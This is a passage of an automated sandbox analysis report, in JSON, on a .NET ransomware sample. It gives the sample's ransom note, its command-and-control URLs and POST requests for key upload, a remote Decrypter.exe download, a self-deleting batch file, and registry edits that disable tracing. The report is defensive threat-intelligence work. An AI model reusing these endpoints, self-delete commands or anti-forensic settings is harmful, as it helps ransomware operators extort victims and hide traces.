files","description":"\"carved_0.exe.1457597005254\" has type \"PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://23.227.199.175/createkeys.php\"\n Pattern match: \"http://23.227.199.175/getamount.php\"\n Pattern match: \"http://23.227.199.175/savekey.php\"\n Pattern match: \"http://23.227.199.175/update.php\"\n Pattern match: \"http://23.227.199.175/finished.php\"\n Pattern match: \"http://23.227.199.175/exception.php\"\n Pattern match: \"http://i.imgur.com/By3yCwd.jpg\"\n Pattern match: \"http://23.227.199.83/Decrypter.exe\"\n Pattern match: \"i.imgur.com/eROA81P.jpg\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /createkeys.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 75\nExpect: 100-continue\nConnection: Keep-Alive\" with no payload\n \"POST /getamount.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 75\nExpect: 100-continue\" with no payload\n \"POST /savekey.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 446\nExpect: 100-continue\" with no payload\n \"POST /update.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 75\nExpect: 100-continue\" with no payload\n \"POST /finished.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 23.227.199.175\nContent-Length: 75\nExpect: 100-continue\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"carved_0.exe.1457597005254\" has type \"PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"Uh oh. It looks like your data has been the victim of the encryption thief. Your files have been encrypted with AES: search your drive for \"locked\" if you don't believe me . Unfortunately you're going to have to pay some money to get your files back and your fee is approximately\" (Source: mm.exe.bin, Indicator: \"files have been encrypted\")\n \"as been the victim of the encryption thief. Your files have been encrypted with AES: search your drive for \"locked\" if you don't believe me . Unfortunately you're going to have to pay some money to get your files back and your fee is approximately\" (Source: mm.exe.bin, Indicator: \"files have been encrypted\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"16/56 Antivirus vendors marked sample as malicious (28% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"16/56 Antivirus vendors marked sample as malicious (28% detection rate)\n 6/42 Antivirus vendors marked sample as malicious (14% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"General","name":"The input sample dropped a file that was identified as malicious","description":"2/56 Antivirus vendors marked dropped file \"carved_0.exe.1457597005254\" as malicious (classified as \"QVM03.0.Malware\" with 3% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$27","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll\" at 69E40000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c \"\"WindowsUpdate.bat\"\"\" on 2016-5-12.09:05:36.178\n \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" on 2016-5-12.09:05:45.832\n \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del /F C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe\"\" on 2016-5-12.09:05:45.852\n \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del WindowsUpdate.bat\"\" on 2016-5-12.09:05:45.912\n \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" on 2016-5-12.09:05:45.902","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"PING.EXE\" with commandline \"ping -n 10 127.0.0.1\" (UID: 00023659-00001576)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" (UID: 00024602-00001320)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del /F C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe\"\" (UID: 00024602-00002552)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del WindowsUpdate.bat\"\" (UID: 00024609-00002540)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" (UID: 00024609-00002560)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"\" sleeping for \"1566804069\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"23.227.199.175\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch.2164.3819425\" with delete access\n \"\" opened \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch.2164.3819435\" with delete access\n \"\" opened \"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2164.3819946\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"\" allocated memory in \"%WINDIR%\\System32\\cmd.exe\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"Installation/Persistance","name":"Drops a batch file that contains a force-delete command (typical for malware init code)","description":"\"echo j | del /F C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe\"","origin":"File/Memory","relevance":7,"id":"string-9","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping -n 10 127.0.0.1\" (UID: 00023659-00001576)","origin":"Monitored Target","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00020814-00002164)\n Spawned process \"cmd.exe\" with commandline \"cmd /c \"\"WindowsUpdate.bat\"\"\" (UID: 00023631-00001636)\n Spawned process \"PING.EXE\" with commandline \"ping -n 10 127.0.0.1\" (UID: 00023659-00001576)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" (UID: 00024602-00001320)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del /F C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe\"\" (UID: 00024602-00002552)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" del WindowsUpdate.bat\"\" (UID: 00024609-00002540)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"\" (UID: 00024609-00002560)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}],"incidents":[{"name":"Spyware/Leak","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":51,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":48,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":1,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files","Carved Files","Sample Crashed"],"sandbox_reports":[{"id":"57342ad7aac2ed67398818ee","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.GenericKD","contacted_countries":["USA"],"submit_name":"85a65cd0146355f1e3e42755e4feaeed","analysis_start_time":"2016-05-12T09:04:23+00:00","indicators_count":{"informative":8,"suspicious":13,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"56e128d2aac2ed12139a275e","environment_id":1,"environment_description":"Windows 7 32 bit - Usermode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":95,"malware_family":"Trojan.GenericKD","contacted_countries":["USA"],"submit_name":"mm.exe","analysis_start_time":"2016-03-10T01:57:20+00:00","indicators_count":{"informative":6,"suspicious":3,"malicious":5},"tags":["Network Traffic","Extracted Files","Carved Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"23.227.199.175","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"address":"23.227.199.83","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"address":"23.235.40.193","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]}],"dns_resolutions":[{"domain":"i.imgur.com","address":"23.235.40.193","country":"United States","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]}],"http_requests":[{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/createkeys.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"},{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/getamount.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/savekey.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"23.227.199.83","host_ip":"23.227.199.83:80","url":"/Decrypter.exe","method":"GET","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/update.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"i.imgur.com","host_ip":"23.235.40.193:80","url":"/By3yCwd.jpg","method":"GET","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/finished.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"host":"23.227.199.175","host_ip":"23.227.199.175:80","url":"/exception.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}],"processes":[{"pid":2164,"ppid":0,"name":"af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe","command_line":"","normalized_path":"C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe","uid":"00020814-00002164","icon":"$2a"},{"pid":1636,"ppid":2164,"name":"cmd.exe","command_line":"cmd /c \"\"WindowsUpdate.bat\"\"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00020814-00002164","uid":"00023631-00001636","icon":"$2b"},{"pid":1576,"ppid":1636,"name":"PING.EXE","command_line":"ping -n 10 127.0.0.1","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00023631-00001636","uid":"00023659-00001576"},{"pid":1320,"ppid":1636,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00023631-00001636","uid":"00024602-00001320","icon":"$2c"},{"pid":2552,"ppid":1636,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" del /F C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe\"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00023631-00001636","uid":"00024602-00002552","icon":"$2d"},{"pid":2540,"ppid":1636,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" del WindowsUpdate.bat\"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00023631-00001636","uid":"00024609-00002540","icon":"$2e"},{"pid":2560,"ppid":1636,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo j \"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00023631-00001636","uid":"00024609-00002560","icon":"$2f"}],"all_imported_dlls":["mscorlib.ni.dll","IPHLPAPI.DLL","diasymreader.dll","kernel32.dll","sechost.dll","shlwapi.dll","ole32.dll","apphelp.dll","KernelBase.dll","advapi32.dll","cfgmgr32.dll","System.ni.dll","msvcrt.dll","usp10.dll","msvcr80.dll","profapi.dll","System.Xml.ni.dll","rasapi32.dll","ws2_32.dll","mscoree.dll","mscoreei.dll","imm32.dll","cryptbase.dll","sspicli.dll","nsi.dll","rtutils.dll","wship6.dll","gdi32.dll","mscorwks.dll","System.Configuration.ni.dll","rasman.dll","credssp.dll","oleaut32.dll","mscorjit.dll","mswsock.dll","WSHTCPIP.DLL","webio.dll","winnsi.dll","dhcpcsvc6.dll","dhcpcsvc.dll","dnsapi.dll","ntdll.dll","lpk.dll","msctf.dll","shfolder.dll","winhttp.dll","cryptsp.dll","rasadhlp.dll","rpcrt4.dll","user32.dll","shell32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"carved_0.exe","sha256":"9bcb2750326ba0880151f1f4ba524aae2915c54dbb75d949a8c35f95f80a253e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"56e128d2aac2ed12139a275e"}]},{"name":"WindowsUpdate.bat","sha256":"6ff3045bf25302b25c5269091f414c3a9e0139c7c2742a492892d77fbbc7e0e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}],"files_written":[{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index141.dat","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\symbols\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\System.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"C:\\af4802e84b5575ef2ade1ef103739afb7352807884dbf1ce7b7c770d994465f7.exe","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"C:\\mm.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\symbols\\exe\\mm.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\exe\\mm.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\mm.pdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"%WINDIR%\\System32\\WindowsUpdate.bat","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\FUSION\\GACCHANGENOTIFICATION\\DEFAULT\\","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"57342ad7aac2ed67398818ee"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr 